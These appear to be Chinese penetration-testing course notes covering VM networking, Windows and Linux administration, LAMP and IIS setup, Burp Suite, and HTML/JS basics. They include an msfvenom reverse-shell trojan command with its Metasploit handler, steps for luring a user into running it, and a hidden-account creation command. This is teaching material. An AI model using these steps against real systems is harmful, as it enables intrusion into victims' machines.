VM 虚拟各种系统的工具
安装目录 不要放在C盘
需要下载的镜像
Windows NT
win7 xp server08R2 server12
类Nnix
centos 6/7/8
ubuntu 14/16/18
kali
安装
win7
1g=1024M
1M=1024KB
1KB=1024bit
1bit 是一个字节
一个字节就是8位由0或者1组成(二进制)
10 进制
0-9组成的数字
8进制 0-7组成的数字
16进制 0-9ABCDEF 组成的数字
十六进制 十进制
0X 0 = 0*16^0
0X 1 =1*16^0
0X12 =1*16^1+2*16^0=18
0x1234 =1*16^3+2*16^2+3*16^1+4*16^0
二进制 十进制
0110 0*2^3+1*2^2+1*2^1+0*2^0=6
0011
八进制 十进制
045 0*8^2+4*8^1+5*8^0 =37
进制之间的转换(计算机组成原理)
端口:端口即服务,服务即端口
http 80 开启80端口,表示当前服务器中正在运行web服务
http+ssl 443
文件共享 445
命令行工具 cmder
编辑器 sublime/notepad++/vscode
做笔记 typora 有道云笔记 印象笔记 onenote word
系统
NT(微软)
个人版操作系统
xp win7 win8 win10
服务器版操作系统
03 /server08 R2 /server12 /server14 /server 16
类Unux
redhat系统
redhat ubuntu kali debian
centos系列
centos
三种网络模式:
NAT(网络地址转换)vmnet8
VM会启用VM DHCP服务,会给我们选择NAT模式的机器分配IP。
分配的IP地址范围:编辑-->虚拟网络编辑器-->选中NAT模式-->(先修改子网IP和子网掩码)DHCP设置-->在里面设置IP地址池
DHCP 动态地址分配协议 用户端PC可以自动获取IP
客户端PC会自动获取IP,可以连接到外网,可以ping通宿主机(宿主机上会多出来两个网卡:NAT和仅主机,NAT模式网卡上的IP和DNCP中设置的地址池是同一网段)
本地IP 192.168.11.165 192.168.10.1
桥接 vmnet0
桥接模式的PC和宿主机是平等,会自动获取宿主机所在网络的IP,能ping通宿主机和外网
仅主机 vmnet1
虚拟机选择仅主机模式后会自动获取IP,该IP在虚拟网络编辑器中可以设置,无法连接外网,选择仅主机模式的虚拟机之间能够相互ping通,这样的虚拟机只能ping通宿主机的VMnet1这个网卡
含有两个网卡的机器 称为双宿主主机
************************************************************************
系统基本命令
windows
windows键+R-->运行-->cmd/cmder
摁住shift键 右击鼠标 选择“在此处打开命令窗口”
cls清屏
正斜杠“/”与反斜杠”\”
网络连通性ping -t ip
本地地址操作 ipconfig /all /release /renew
查看本地开启的端口:netstat -ano(可根据端口找到相对的PID)
pid 进程ID号,表示在系统内存中的一个运行程序的编号
快速找到结果:findstr
netstat -ano |findstr "3389"
IP:表示网络节点(设备)在整个网络中的位置,使用点分十进制表示
127.X.X.X
192.168.1.0 192.168.1.9 192.168.2.9
ping 127.0.0.1 ping本地回环地址
netstat -ano |findstr "关键词"
| 作用是:在前面命令执行得到的结果之上去执行后面的命令
eg:netstat -ano |findstr "3306" 找到3306端口对应的记录
ping 192.168.11.1 -t
ping 127.0.0.1 |ipconfig
查看本机任务列表:tasklist
获取系统详细信息:systeminfo
系统环境变量:path
set
配置环境变量:
win7 :计算机-->属性-->高级系统设置-->高级-->环境变量--->系统变量-->path(变量值最后加; 然后将程序对应的路径复制过来即可)
win10:计算机-->属性-->高级系统设置-->高级-->环境变量-->系统变量-->path(在最后的空白行中直接输入程序的安装路径)
列举目录:dir
以点开头的文件默认情况下是隐藏文件,
. 表示当前目录 cd ./
.. 表示上一级目录 cd ../
切换目录 cd
创建目录:mkdir test
创建文件并往文件中写数据: echo 123 > test.txt
> 重定向符号
读文件 type test.txt
windows用户管理*******
查看系统用户:net user
查看具体某个用户信息: net user username
添加用户:net user username password /add
(注意:默认添加的用户隶属于users组)
users组是权限比较低的普通用户组
修改密码:net user usernmae password
删除用户:net user username /del
切换用户:
产看本地组:net localgroup
关注 administrators /users/Remote Desktop Users
创建组:net localgroup group_name /add
往管理组中添加用户:net localgroup administrators username /add
注意:添加删除用户或者往管理组中添加删除用户都需要管理员权限
查看当前用户是谁:whoami
查看当前计算机名:hostname
创建隐藏用户:
net user admin$ 123.coom /add
路径:
相对路径:相对某个文件或者文件夹的路劲 ./ ../
绝对路径: 从根目录写起的路径
终端:命令解析器,终端接收用户输入的命令,然后把命令传输给系统内核,系统处理该命令,并返回结果,终端接收该结果并显示
ls 列目录
sudo 以管理员运行命令
su 切换用户
如果su后什么也没写 表示切换到root 需要输入其密码
reboot 重启
sudo reboot
在linux中安装VM tools
step 1:虚拟机选择安装 Vmware tools ,在DVD中将.tar.gz的文件包拖到桌面中;
~ /home/pentest/de
step 2:打开终端,切换到桌面,cd /home/whoami/桌面
cd /home/username/desktop/
ls 查看这个.tar.gz文件
注意:这是压缩包文件,需要先解压
tar -zxvf vmwaretools.tar.gz
最后会多出来一个文件夹,这个文件夹就是vmwaretools.tar.gz解压缩出来的
step 3:进入到这个文件夹,cd vmware-tools-distrib,ls查看里面的文件
注意:绿色的文件是可执行文件
sudo ./vmware-install.pl ,输入密码,有提示直接回车就行
sudo 以管理员的权限运行后面的程序
打开多个终端:ctrl+shift+t
alt+数字 切换到某个终端中
ls -l 以详细信息列出目录
ls -al 显示所有文件的详细信息
ls -dl 查看目录信息
pwd 查看当前工作的目录
drwxr-xr-x 2 root root 4096 Jul 12 2018 XXEinjector-master
权限 文件硬链接数或目录子目录数 所有者 所属组 大小 名字
root @localhost: ~ #
当前用户 本机 家目录(/root) 管理员
pentest @localhost: ~(/home/pentest) $
普通用户
家目录:用户默认工作的地方,用于存在自身文件的位置
cd
cd ~
cd /home/pentest
cd /root
/ linux的根目录
查看当用用户:whoami
查看IP:ifconfig
查看网卡:ip addr
ifconfig ens33 192.168.11.90 255.255.255.0 临时配置IP的方式
创建文件夹:mkdir
创建文件 touch test(后缀名可以先不写)
echo 123 >test 将123写入test文件
重定向符号
查看文件内容: cat test
复制: cp 源文件位置 目标路径
移动: mv 源文件 目标路径
改名字:mv 原文件名 目标文件名
删文件: rm 文件名
rm -r 文件夹
rm -f 文件名
rm -rf 文件夹
一点一点地读文件 : more 文件(显示百分比) q键退出
head 文件 默认读取前10行
head -n 6 文件 读取前6行
tail 文件 默认读取后10行
tail -n 6 文件 读取后6行
updatedb 更新文件位置数据库
locate 文件名
firefox
python
java
xshell /cmder
linux 网络设置
网卡配置文件所在的位置:/etc/sysconfig/network-scripts/
ls 会看到以ifcfg开头的文件
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TYPE="Ethernet" 网卡类型
BOOTPROTO="dhcp" 网卡获取IP的形式,ip配置方式(NONE/DHCP/STATIC)
DEFROUTE="yes"
PEERDNS="yes"
PEERROUTES="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_PEERDNS="yes"
IPV6_PEERROUTES="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33" 网卡名称
UUID="ae04ed91-a630-435e-b327-583632895fa0" 通用唯一标识码
DEVICE="ens33" 网卡名称
ONBOOT="yes" 开机加载网卡配置文件
ZONE=public
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TYPE="Ethernet" 网卡类型
BOOTPROTO="static" 网卡获取IP的形式,ip配置方式(NONE/DHCP/STATIC)
DEFROUTE="yes"
PEERDNS="yes"
PEERROUTES="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_PEERDNS="yes"
IPV6_PEERROUTES="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33" 网卡名称
UUID="ae04ed91-a630-435e-b327-583632895fa0" 通用唯一标识码
DEVICE="ens33" 网卡名称
ONBOOT="yes" 开机加载网卡配置文件
ZONE=public
IPADDR=192.168.10.99 配置的IP
NETMASK=255.255.255.0 子网掩码
GATEWAY=192.168.10.1 网关
DNS1=114.114.114.114 首选DNS
DNS2=8.8.8.8
DNS3=5.5.5.5
切换系统模式:
init 数字
0:关机
1:单用户模式
2:无网络支持的多用户模式
3:有网络支持的多用户模式
4:保留,未使用
5:有网络支持有X-Window支持的多用户模式
6:重新引导系统,即重启
updatedb
locate 文件名
service firewalld status 查看防火墙的运行状态
service firewalld stop 关防火墙
service firewalld start 开启防火墙
systemctl status/start/stop mysqld.service
/etc/init.d/ssh status
find 路径 [-name/ -type /-size /-time(小时、分钟、秒)] 文件名( * ?)
grep 在文件中查找关键信息
cat test.txt |grep 1 在文件test.txt中查找1
==grep 1 test.txt
linux中所有的设备都是以文件的形式存在!!!
whereis 查找命令(ping ls ifconfig 等)所在的位置和帮助文档位置
which 查找命令所在的位置
vi /vim
vim 文件名
VIM工作模式:
命令模式:打开一个文件就是命令,输入:q 是退出 输入 :wq 是保存退出 :w 保存
输入模式:可以写入数据的模式,这种模式的进入方法:i(在光标的位置输入) a(光标后一位输入) o(另起一行输入) I A O,退出来摁 ESC 键
底部命令模式(末行模式):通过底部命令去控制文档。需要在命令模式下输入:即可进入该模式
set nu 设置行号
set nonu 取消行号
在vim编辑器中找数据
需要在命令模式中进行
/key_word 在光标之后找第一次出现的关键词
按住n键会寻找下一个关键词
:%s/key1/key2 所有的文档每行第一次出现的key1替换成key2
:%s/key1/key2/g 所有的key1替换成key2
:s/key1/key2 将当前行第一次出现的key1替换成key2
:s/key1/key2/g 将当前行中所有的key1替换成key2
x 删除光标后面的一个字符
X 删除光标前面的一个字符
dd 删除光标所在行
ndd 删除光标后n行
yy 复制光标所在行
p 将复制的数据粘贴到光标的下一行
P 将复制的数据粘贴到光标的上一行
u 撤销上一个动作
权限
drwxr-xr-x 3 root root 4096 Feb 15 14:29 tomcat_pentest
lrwxrwxrwx 1 root root 35 Nov 28 20:30 top1000_passwords.txt -> /root/Desktop/top1000_passwords.txt
drwxr-xr-x 2 root root 4096 Dec 27 02:30 Videos
drwxr-xr-x 5 root root 4096 Sep 14 10:44 weakfilescan
-rw-r--r-- 1 root root 195543181 Oct 29 2017 WebBug.zip
- rw- r-- r-- 1 root root 1216 Feb 15 14:28 webshell.war
644
drwxr-xr-x 5 tu1 tu1 4096 Nov 27 2011 xsser-public
755
d rwx r-x r-x 2 root root 4096 Jul 12 2018 XXEinjector-master
755
第一列中共有10位
第1位表示文件类型:
d 这是目录
l 链接文件
- 二进制文件(文本文件)
第2-4位表示当前文件所有者的权限 r(读)4 w(写)2 x(执行)1
第5-7位表示当前文件所有组的权限 r-x
第8-10位表示其他人对该文件的权限 r-x
- 表示对应位没有权限
3 4 1
-wx r-- --x
756
rwx r-x r-w
权限对于文件和文件夹的意义
对于文件的意义 对文件夹的意义
r 读 可以查看文件内容 可以列目录
w 写 可以修改文件 可以在目录中创建和删除文件
x 执行 可以执行文件 可以进入文件夹
更改权限的命令
test 751 rwxr-x--x
chmod +777 test
chmod -551 test
推荐使用数字的方式修改文件或者文件夹的权限
更改所有者
chown 所有者 文件/文件夹
更改所属组
chgrp 所属组 文件/文件夹
***********************************
tar
sudo tar -zxvf msyql.tar.gz
-z 针对的压缩包格式是zip /gz
-x 解压缩
-v 显示解压缩过程
-f 指定文件
tar -cvf file.tar f1 f2 f3 打包
-c 打包
**********************************
zip
unzip file.zip 解压缩
zip test.zip f1 f2 f3 压缩文件
********************************
.tar.gz
tar -zxvf test.tar.gz 解包解压缩
创建 tar -zcvf demo.tar.gz f1 f2 f3
ln 源文件 目标位置 创建硬链接文件,他们的ID是一样的,相当于对源文件进行拷贝
ln -s 源文件 目标文件 创建软链接文件,操作链接文件相当于操作源文件
LAMP
phpmyadmin /usr/share/phpmyadmin
/var/www/html/
ln -s /user/share/phpmyadmin/ /var/www/html/
linux下的用户管理
用户信息存在 /etc/passwd
真正的用户:可以修改密码、可以登录
伪用户:一些程序在启动过程中需要以某种权限来运行,使用程序名存储在passwd文件中
huxi(用户名):x(密码位):1000(用户UID):1000(用户组GID):HUXI(描述):/home/huxi(家目录):/bin/bash(默认使用的解析器)
如果把最后一部分改为:/sbin/nologin ,那么用户就不能登录
test:x:10001:10001::/home/test:/bin/bash
用户密码存贮在 /etc/shadow
huxi(用户名):$6$a/2c.gZnMoRaimdi$K8diROJJcz8AtueBhj68FPHtyPz96xzR.Xkn5V5fHCX3E50d6Sh8d3Biqg6Y2EmrAzAXRU5TMtdfo0I/mToTy/(密码):17841(最后修改密码的时间):0(修改密码最短有效时间):99999(最长时间):7:::
从第三部分之后的都是密码策略
加用户:
useradd [选项] 用户名
加密码:
passwd 用户名
删用户:
userdel
默认添加的用户会自动加入和用户名一样的组中
demo1 demo1
root root
test1 test1
groups 查看当前用户属于哪个组
groupadd 组名 添加组
groupdel 组名 删除组
demo_group
gpasswd -a test1 demo_group 向demo_group中添加用户test1
cat /etc/group 可以查看当前组中有哪些用户
demo_group:x:1004:test1,test2,test123(在demo_group中有三用户)
gpasswd -d test1 demo_group 向demo_group中删除用户test1
id查看当前用户和所属组的ID
useradd -u 5001 -g demo_group -G root -d /home/test2 -s /bin/zsh test2 添加用户
-u 指定uid
-g 指定用户所属组
-d 宿主目录(家目录)缺省目录
-s 指定解析器
-G 指定用户所属多个组
-o 和-u 同时使用,用于创建和其他用户ID一样的用户
usermod -l/-d/-g/-s 用户名
-l 修改用户名 usermod -l pentest yongxin
-d 修改目录 usermod -d /home/test demo
-g 修改所属组 usermod -g demo_group demo
-s 修改解析器 usermod -s /bin/zsh pentest
禁用用户 usermod -L 用户名
恢复用户 usermod -U 用户名
网络基础(七层网络模型、网络设备)
软件包管理
在linux安装一些软件(ssh/mysql/apache等),需要使用某个管理平台YUM(推荐,自动帮组我们解决依赖关系,节约时间)、RPM(需要安装各种依赖关系)、源码安装(需要下载源码、解压、编译、安装)
RPM安装
rpm -qa 查看所有安装软件
-q 查询
-a 所有的
首先需要下载相对应版本的软件
rpm -hiv 文件名
-h 详细信息
-i 安装
-v 安装进度
rpm -e 文件名 卸载
ssh 远程连接服务,默认使用22端口
netstat -ant |grep 22
rpm -qa |grep ssh
yum remove 软件名 卸载软件
YUM安装(需要保证虚拟机联网)
保证linux系统中yum源是新的(更新yum源)
yum install 软件名 -y 安装软件
sudo yum install ssh -y
yum list redis
ubuntu/kali的软件包管理
apt-get install 软件名 安装
apt-get remove 软件名 卸载
apt-get update 更新
apt-get upgrade 升级
yum安装redis
redis 非关系型数据库,默认启用的端口是6379,以key-value形式保存数据
sudo yum list redis
sudo yum install redis 安装redis
使用Fedora的仓库
yum install epel-release
然后安装redis
源码安装redis
step 1:下载redis的源码,然后解压缩 tar -zxvf redis.tar.gz
step 2:cd 切换进入该文件夹,
step 3:./configure --prefix=/usr/local/redis[可选]
step 4 :make 编译
step 5 :make install 安装软件
redis-->src--->redis-server(可执行)
./redis-server
linux内存管理
ps -u/ -l查看隶属于当前用户的进程信息
PID 进程ID号
ps -aux 所有用户的进程信息
ps -aux |grep apache 查看apache的进程
ps -le |grep redis 查看指定进程的信息
kill关闭某个进程
kill PID
-9 强制
-1 重启进程
xkill 关闭图形程序
killall 关闭所有程序
netstat -ano windows(端口)
netstat -ntulp linux (端口、PID、名称)
Phpstudy(安装在Win下的web服务软件,集成PHP/mysql/Apache三种服务)WAMP环境
LAMP环境(在linux中安装apache/mysql/php)***第一周周末作业(ubuntu16)
(作业要求:使用word写,有图有说明)
http 超文本传输协议 80
修改端口:其他选项菜单---phpstudy设置-->端口常规设置----在httpd端口 修改端口(保证你的端口不冲突) 修改完成之后 确定
使用浏览器访问(URL输入框中输入如下地址):
http://192.168.11.189:1234/
协议 IP 端口
http://127.0.0.1:1234/
协议 本机 端口
当我们在浏览器中输入http://192.168.1.1:6666 点击访问,浏览器会发出请求包,request
请求最终到达服务,服务器会处理该请求,处理完成之后会给请求的用户发送一个响应包,response
phpinfo() 这是php的一个函数,用来显示服务器中环境(铭感信息)
index.php
index.html
default.php
首页,一般情况下,我们在访问站点时不需要写首页
URL(统一资源定位符):http://192.168.11.189:80/index.php
向服务器192.168.11.189的80端口上去请求index.php页面
<?php phpinfo();?>
服务器收到请求之后,会解析该请求,把解析后的数据作为响应包
浏览器查看源代码的方式:F12 、 右击鼠标 查看源代码、view-souece:http://192.168.11.189:80/index.php
IP:点分十进制,记忆不方便,使用域名代替IP来记忆
ping 获取IP
nslookup baidu.com
域名 <---> ip
baidu.com 123.125.115.110
DNS 域名服务器
hackbar 是火狐浏览器中渗透测试插件
https://user.pentest.com/login/sign?type=0&r=https%3A%2F%2Fwww.pentest.com%2Fmain
www.test.com/index.php?type=0&demo=2&te=123
Load URL:重新加载URL
Split URL:分割参数
Execute:执行(发出请求)
拦截请求包和响应包
工具:
burpsuite(BP):渗透测试综合利用工具,使用java,在运行时需要java环境,
foxproxy:火狐代理工具
curl 主要用于网络请求
curl https://www.baidu.com
step 1:需要在火狐浏览器中设置火狐代理,127.0.0.1:8080,并启用该代理
step 2:打开BP,在foxyproxy中的options中设置监听器,设置端口和ip要和火狐代理的端口以及IP 保持一致
step 3:设置intercept is on
step 4:浏览器点击执行或者刷新页面
点击Forward 是放行当前的数据包
Drop 放弃当前拦截的数据包
Action 是将当前的数据包进行其他操作
使用 Repeater 功能(重放功能)拦截响应包
step 1:浏览器设置代理,127.0.0.1 8080 (打开菜单-->选项-->高级-->网络--->设置-->手动配置IP和端口,最后保存)
step 2:使用BP拦截请求包,点击action,在其下拉菜单中找到send to repeater ;
step 3:在repeater中找 go 点击 就能看到response
phpmyadmin 基于页面的数据库管理平台
使用phpstudy重置密码(其他选项菜单---mysql工具--重置密码--输入自己的密码保存)
G:\phpStudy\MySQL\bin 设置mysql的环境变量
在DOS命令窗口中输入 mysql --version 查看版本
mysql -uroot -p密码 进入mysql交互式窗口
mysql -uroot -p
安装wordpress4.7
周末作业:
安装ubuntu16,安装LAMP(mysql/php/apache)
安装DVWA
线上提交的作业:主题_姓名_时间.rar
平时布置的作业:找资料、安装软件、看视频······
在centos7中安装LAMP环境
更新系统
yum update -y
yum -y update
查看系统的版本:cat /etc/redhat-release(内核版本)
uname -a (发布版本)
注意:保证安装LAMP的源是可用的,更换源之后,最好yum update -y
step 1:安装 apache
yum install httpd http-devel
systemctl enable httpd/chkconfig httpd on 开启自启动
http apache nginx
防火墙(关掉)
step 2:安装PHP
yum install php -y 核心软件
yum install php-mysql -y 安装php 和mysql的关联插件
yum install -y php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel php-bcmath 安装php常用模块
如何测试PHP?
php -v
php -r "echo phpinfo();"
进入/var/www/html/ 创建test.php 文件中写入如下的代码:
<?php phpinfo();?> 最后在浏览器中访问该页面
apache的配置文件位置:/etc/httpd/conf/httpd.conf
serverroot 在apache配置文件中表示apache存放的位置
documentroot 表示站点源码存放的位置 默认位置/var/www/html
(注意:修改完配置文件一定要重启服务)
step 3:安装mysql
yum install mariadb mariadb-server mariadb-libs mariadb-devel -y
mysql -Version
msyql默认端口3306
在终端登录mysql
mysql -uroot -p
数据库(结构化)
库-->表--->字段(id,age,name)
show databases;查看所有的数据库
use 表名; 使用某个数据库
show tables;查看当前数据库下有哪些表
select * from students;
ubuntu16 安装LAMP环境(PHP7.0)
更新源
/etc/apt/sources.list
sudo apt-get update&&upgrade
step1:安装apache2.4
apt-get install apache2 -y
apache2的配置文件:/etc/apache2/apache2.conf 服务器先关设置
/etc/apache2/sites-enabled/000-default.conf 修改端口、DocumentRoot等等
step 2:安装msyql
apt install msyql-server (安装过程需要输入root的密码)
mysql的配置文件:/etc/mysql/my.cnf
step 3:安装php
apt install php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql 安装php7和相对应的响应扩展
apt install php7.0-curl php7.0-json php7.0-cgi 支持组件
php的配置文件:/etc/php5/apache2/php.ini
php7的配置文件:/etc/php/7.0/apach2/php.ini
step 4:安装phpmyadmin
apt install phpmyadmin -y
默认安装的路劲/usr/share/phpmyadmin
documentRoot /var/www/html/
ln -s /use/share/phpmyadmin /var/www/html/
ssh 22
配置文件:/etc/ssh/sshd_config
5行 Port 2222 将之前的22修改为2222 ,重启ssh
netstat -ntulp 查看端口
禁止使用root账号去连接ssh?
打开配置文件(/etc/ssh/sshd_config)
28行 PermitRootLogin no 将yes修改为no 重启ssh
linux忘记密码
centos7忘记密码如何解决?
进入到单用户模式下去修改root密码
step 1:开机时按住向下箭头,选择第一个,按住e进入gurb界面;
step 2:在编辑模式下找ro 修改为 rw init=/sysroot/bin/sh,ctrl+x 进入单用户模式
step 3:输入的命令修改root 密码
chroot /sysroot 进入系统环境变量
LANG=EN
passwd root
修改完密码重启
ubuntu16忘记密码该如何解决?
step 1:开机长按shift 进入GURB界面 找到ubuntu 高级 这个选项 然后回车进入该选项;
step 2:找到recovery mode ,按e进入编辑模式
step 3:在该模式中找到revocery nomodeset ,将其删除,然后输入quiet splash rw init=/bin/bash
step 4:ctrl+x 进入单用户模式,输入如下命令重置密码
passwd root
Windows系统忘记密码?找安装PE的U盘,从U盘启动进入其中PE系统(老毛桃、大白菜)
**********************************************************************
winserver 安装服务
服务器管理器 去管理服务
IIS(互联网信息服务协议) 是Windows server类系统自带的服务,需要安装,支持解析asp/aspx的站点
ser03 IIS6.0
ser08 IIS7.0
安装过程:
step 1、进入服务器管理器,找到添加角色;
step 2、在服务器角色中勾选“Web服务器(IIS)”,然后角色服务中勾选需要的角色服务(应用程序开发);(注意:添加ASP.NET 、.NET 扩展性、CGI、ISAPI 扩展、ISAPI 筛选器,去掉 目录浏览)
step 3、打开运行Internet信息服务(IIS)管理工具,展开左侧栏到“Default Web Site”;
(注意:可以新建网站)
step 4、在功能视图中找到“ASP”图标,在ASP设置中将启动父路径设置为“Ture”.
其他搭建ASP站点的平台:
超级小旋风AspWebServer
IIS发布站点的方式:
基于IP(一个)
基于IP:port
基于URL(主机名)
DNS(域名解析协议)可以用过win ser类系统去安装,192.168.10.1 ----www.baidu.com
53端口
DNS服务端:
(1)静态IP
(2)首选DNS指向自己
DNS客户端:
(1)首选DNS指向DNS服务器
配置DNS服务器的详细过程:
step 1:打开DNS管理器,找到“正向查询区域”,新建区域(一级域名baidu.com 163.com yy.cn)
step 2:选择创建的区域,右击选择“新建主机(A记录、AAAA记录)”
名称中输入类似WWW、NEWS等父域名称
IP输入搭建有WEB服务的机器IP
step3:客户端的首选DNS指向DNS服务器,搭建站点注意细则:
绑定网站时,IP地址是自身的IP,端口可以随便修改,主机名填写是上一步产生完全合格域名FQDN(点不不要)
Ftp(文件传输协议),在win ser上基于IIS去搭建FTP服务器。
应用协议 20(传输命令)/21(传输数据)
明文传输数据
FTP运行在IIS平台上
非隔离账号:所有的账号访问服务的数据一致
step 1:安装IIS、注意在安装IIS的服务过程中需要选择FTP角色服务;
Step 2:打开Internet 信息服务(IIS)6.0管理器,右击“FTP”新建FTP站点,输入站点描述、本机IP地址和端口。选择不隔离用户;
Step 3:主目录路径,上传或者下载数据的位置。接着配置权限(读取和写入);
Step 4:客户端访问:ftp://ip:port
客户端访问FTP的方式:三种(windows磁盘管理器、浏览器、DOS登录)
隔离账号:每个账号只能访问自己家目录下内容,账户之间不能相互访问
step 1:添加账号ftp1 ftp2 ,在C:\ftp_test下创建文件夹LocalUser,在该文件夹下再创建两个文件夹,文件夹的名字和用户名一样,在各自的目录中放入测试文档。
Step 2:新建FTP服务器,选择隔离用户,路径选择C:\ftp_test
Step 3:测试,分别使用桌面和命令的方式登录
FTP终端
ls 列目录
help 帮助
mkdir 创建目录
send 攻击者电脑上的文件(绝对) 向服务器中发送文件
get 服务器中文件 下载文件
DHCP(动态地址分配协议) 只要我们机器的IP获取方式是自动获取,首先机器会发送dchp discover 请求包(广播),dchp服务器就会单播回复你的请求
端口67(服务端) 68(客户端)
配置静态IP
Windows安装MSSQL
安装过程参考百度经验
使用SQL TOOLS连接管理数据库(IP 端口 sa 密码 数据库名master)
连接成功之后,在sql命令中输入如下命令:
SELECT Name FROM Master..SysDatabases ORDER BY Name;
获取SQL Server数据库中所有的数据库名
使用VSPLATE搭建在线虚拟平
需要使用github登录,在github找到源码,将源码对应的URL复制粘贴到首页的输入框中,点击“GO”,为当前的代码虚拟出解析环境
在LABS页面中有项目列表,具体介绍如下:
target address是当前项目环境对应的连接,访问该连接即可
status 虚拟出的环境的运行状态
time left 分配平台资源的时间,一般1小时以内
operation
在线终端
开关机按钮
文件管理
删除当前的虚拟平台
内网资源映射到公网Ngrok
step 1:访问https://www.ngrok.cc/user.html 注册 登录 找到"开通隧道";
step 2:选择 香港Ngrok免费服务器 在接下来的界面中 选择隧道协议 名称 前置域名 本地端口(IP:PORT)被转发的ip和端口
step 3:在隧道管理中可以看到刚才建立的隧道,需要关注 隧道ID 本地端口 以及域名
然后去下载Ngrok客户端
step 4:下载linux客户端,./sunny clientid 隧道ID
step 5:然后等待该隧道的建立 访问域名即可
搭建简易WEB服务器
IIS apache nginx tomcat 操作稍微复杂,需要配置
PHP
php -S ip:port
python
python -m SimpleHTTPServer 8080
使用github搭建个人博客
github 全球型的代码托管平台
“#学上网”--翻墙
Metasploit (MSF)
综合利用工具,集成上千种漏洞利用方式,操作简单易上手。
Kali自带的,依赖于postgresql数据库,启用这个数据库/etc/init.d/postgresql start
msfconsole 启动MSF
利用MSF生成木马获取meterpreter反弹shell
step 1:生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.10 lport=8787 -f exe >./demo_pentest.exe
-p 选用什么payload
lhost 监听ip
lport 监听端口
-f 生成文件的类型
step 2:投放木马到目标机上
step 3:启用MSF,具体操作如下:
加载exp
use exploit/multi/handler
加载payload(要和生成木马选用的payload一致)
set payload windows/meterpreter/reverse_tcp
show options查看那些参数是需要输入的
set lhost 192.168.10.10 设置监听的IP
set lport 8787 设置监听的端口
run /exploit 运行
step 4:诱导用户点击我们的木马程序
step 5:等待用户上线,就能得到meterpreter, shell 进到被攻击者电脑的终端
step 6:添加用户 开机3389 连接桌面(rdesktop)
HTML+CSS+Javascript
HTML 超文本标记语言 严格的说它不是编程语言 标记语言
它有一套标记标签,双标签 <a> </a> 单标签<img />
HTML使用标签来描述网页,显示数据
<!DOCTYPE html> //html5的标识
<html> //需要将我们的标签写在其内部,文本表述网页
<head> //头部,
<title></title>//标题
<meta charset="utf-8">编码方式
charset是meta的属性
</head>
<body>//主要写一些用来显示的内容
<h1></h1>一级标题
<hr>横线
<br>换行
<p></p>段落标签
<a></a>链接标签
<img> 图片标签
<ul>无序列表
<ol>有序标签
<form>用来提交数据的
</body>
</html>
style 这是标签的样式属性
表格<table></table>
colspan 跨列
rowspan 跨行
<!-- 这是注释-->
块 在html中大部分的标签是块标签,以新行开始,块标签独处一行 p div(层)
行标签 a img
布局
<div>
CSS 层叠式样式表 作用:主要对站点中标签进行样式展示,修改这些标签展示数据的样子
引入的方式:
行内模式:<p style="color:red;background-color:#bb6666">这是段落</p>
内嵌模式:一般写在<head>中的<style>里
<style type="text/css">
div{
width: 80px;
height: 100px;
}
</style>
外链模式:用过<link>引入外部的css文件
<link rel="stylesheet" type="text/css" href="../css/demo.css">
导入外链样式表:用@import,在<head></head>中引入
<style type="text/css">
@import "*.css"
</style
上述几种引入CSS方式优先级:
行内模式>内嵌模式>外链模式
CSS语法:
由两部分组成:
选择器 {属性1:值1;属性2:值2;}
JS(Javascript)是世界上最为流行的编程语言,脚本语言应用广泛,服务器、PC、笔记本电脑、平台、手机
轻量级编程语言,插入到HTML中,
功能:
可以通过JS写HTML代码
对事件作出反应
修改HTML代码
更改样式
实现:
javascript代码必须放在<script> </script>中
可以放置在HTML页面中的<body> 中和<head>中也可以引入外部的JS代码,引入方式如下:
<script src="myScript.js"></script>
JS代码中,注意大小写(大小写铭感)
var a=1;
var A=1;
var name="123";
var name=" 123 ";
var age=30;
var age= 30;
var test="pen";
var test= "pen";
function fun3() {
var z=document.getElementById('31231\
23123');
z.style.color="yellow";
}
在操作文本字符串中,可以使用\ 进行换行
注释:/**/多行
// 单行
变量:存储信息的容量
var tmp=1;
var 变量名=变量值;
var tmp="pentest";
一条语句,多个变量
var tmp1=99,tmp2="test",tmp3=null;
var tmp;理解未定义
var parameter="sql";
var parameter;
parameter="sql"
JS的数据类型(数据类别就决定该数据在内容中存储容量的大小)
字符串、数字、布尔(0/1)、数组(array)、对象、NULL、Underfined
字符串
var str=" hello China!";
var str='hello China!';
var str="hello'+'China!"
var str='hello"+"China!';
数字
整数、小数(科学计数法)
var nu=123e10; nu=1230000000000;
var nu=123e-5 ;0.00123
布尔(true/false)
var x=true;
数组
var ar=new array();//创建数组
ar[0]="i";
ar[1]="chun";
ar[2]="qiu";
var ar=new array("1","2","3")
对象
由花括号分隔。在括号内部,对象的属性以名称和值对的形式 (name : value) 来定义。属性由逗号分隔:
var person={name:"pentest",gender:"1",tel:"12345667890"};
person.name
person["name"]
Underfined 表示变量不含有值
Null用来清空变量
var tel;
var tel=null;
对象:
var person={name:"pentest",address:"beijing"}
对象中除了属性还有方法
属性是与对象相关的值
方法是能够在对象上执行某些操作
var car={name:"dachong",weight:500KG,color:"white"}
car.start()
car.stop()
函数
function fun_name(parameter_name){
函数的语句体;(当前该函数要执行的代码)
}
运算符
+
—
*
/
%
++
--
赋值运算符
= a=3 b=2
+= a+=1 a=a+1=2
-=
*=
/=
%=
比较运算符,其返回值是布尔(ture/false)
var x=8
== 等于 x==8
=== 恒等于 x===8
!= x!=9
>
<
>=
<=
逻辑运行符
&& and 与 (1>0&&9>1)
|| or 或 (1<0||9>8)
! not 非 (!0) (1!=2)
if (条件) {语句体}
条件为真 语句体才执行
if(条件) {语句体1}
else {语句体2}
条件为假 语句体2才执行
if (条件1)
{
语句体1
}
else if(条件2){
语句体2
}
else{
语句体3
}
当条件1和条件2都为假时 才执行语句体3
